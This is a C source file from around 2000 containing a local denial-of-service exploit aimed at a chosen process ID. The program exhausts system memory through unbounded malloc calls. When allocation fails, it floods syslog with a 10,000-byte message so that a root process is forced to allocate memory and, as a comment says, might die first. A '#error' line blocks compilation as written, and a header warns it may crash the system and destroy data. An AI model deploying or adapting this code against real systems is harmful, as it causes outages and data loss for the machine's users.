/*
 * Copyright (C) 1999/2000 Stealth.
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. All advertising materials mentioning features or use of this software
 *    must display the following acknowledgement:
 *      This product includes software developed by Stealth.
 * 4. The name Stealth may not be used to endorse or promote
 *    products derived from this software without specific prior written
 *    permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY
 * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 */
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <syslog.h>

#error	

/*** !!! DANGER !!!
 *** This program may crash your whole system, causing damage of any kind,
 *** even data-loss. So be sure what you do.
 ***/

int main(int argc, char **argv)
{
   	char foo[1000];
        char bigmsg[10000];
	char *s, *hold_s; 
	int i = 0;
        
        memset(bigmsg, 'X', sizeof(bigmsg)-1);
   	if (argc < 2) {
           	printf("usage: %s <pid to kill>\n", argv[0]);
                exit(1);
        }
#if 0
	fork();
#endif
        memset(foo, 0, sizeof(foo));
        snprintf(foo, sizeof(foo), "/proc/%s/stat", argv[1]);
   	
	/* check whether process is still alive */
	while (access(foo, F_OK) == 0) {
           	s = malloc(10000);
		if (s == NULL) {
			if (hold_s)
				free(hold_s);
/*			if (s)
				s[i%10000] = 0;
*/			printf("crashing ... \n");
		
			/* force a root-process to require some memory, so maybe
			 * he dies before we die. :)
 			 */
			openlog("b00m", 0, 0);
        		syslog(1, bigmsg);
			closelog();
		}
                printf("%d\r", i++); fflush(stdout);
		hold_s = s;
        }
        return 0;
}